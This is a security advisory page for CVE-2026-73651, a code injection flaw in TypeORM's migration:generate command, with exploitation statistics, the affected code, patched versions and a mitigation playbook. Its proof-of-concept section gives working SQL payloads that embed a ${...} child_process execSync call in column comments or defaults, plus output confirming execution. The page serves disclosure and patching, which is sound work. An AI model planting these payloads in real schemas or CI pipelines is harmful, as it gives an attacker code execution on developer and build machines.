Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2026-73651 — typeorm

MEDIUMFix: typeorm/typeorm@41d1c62

CVE-2026-73651 is a medium-severity (CVSS 5.7) Code Injection vulnerability in typeorm. A fix is available for typeorm — see the affected versions and patch details below.

TypeORM: migration:generate template-literal code injection

Also known asGHSA-2rp8-mm9q-fp49
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73651.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk+0.16%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk
0.00%0.30%0.59%0.89%0.2%0.4%Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-73651 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

5Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
typeormnpm
5.2Mdownloads / week

Description

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

DriverMetadata sourceSource
Postgrescolumn DEFAULT, COMMENT, CHECK constraints, view definitionsPostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDBCOLUMN_DEFAULT, COLUMN_COMMENTMysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDBSame patterns as PostgresCockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

FileLinesRole
MigrationGenerateCommand.ts117-138Template-literal construction (sink)
PostgresDriver.ts1886-1891escapeComment() — Postgres
MysqlDriver.ts1322-1328escapeComment() — MySQL
CockroachDriver.ts1236-1241escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

VectorResultNotes
Column COMMENTConfirmedProven in PoC below
Column DEFAULTConfirmedAttacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraintNot exploitableMySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitionsNot testedRequires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

  • Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
  • The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
  1. Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmtypeormall versions0.3.31npm install typeorm@0.3.31
📦npmtypeorm≥ 1.0.0&&< 1.1.01.1.0npm install typeorm@1.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for typeorm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update typeorm to 0.3.31 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-73651 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary `typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration. ### Details `MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks: ```typescript " await queryRunner.query(`" + upQuery.query.replaceAll("`", "\\`") + "`" + ... ``` Introspected schema strings reach this sink
O3 Security · Impact-Aware SCA

Is CVE-2026-73651 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-73651: typeorm RCE — Fixed in 0.3.31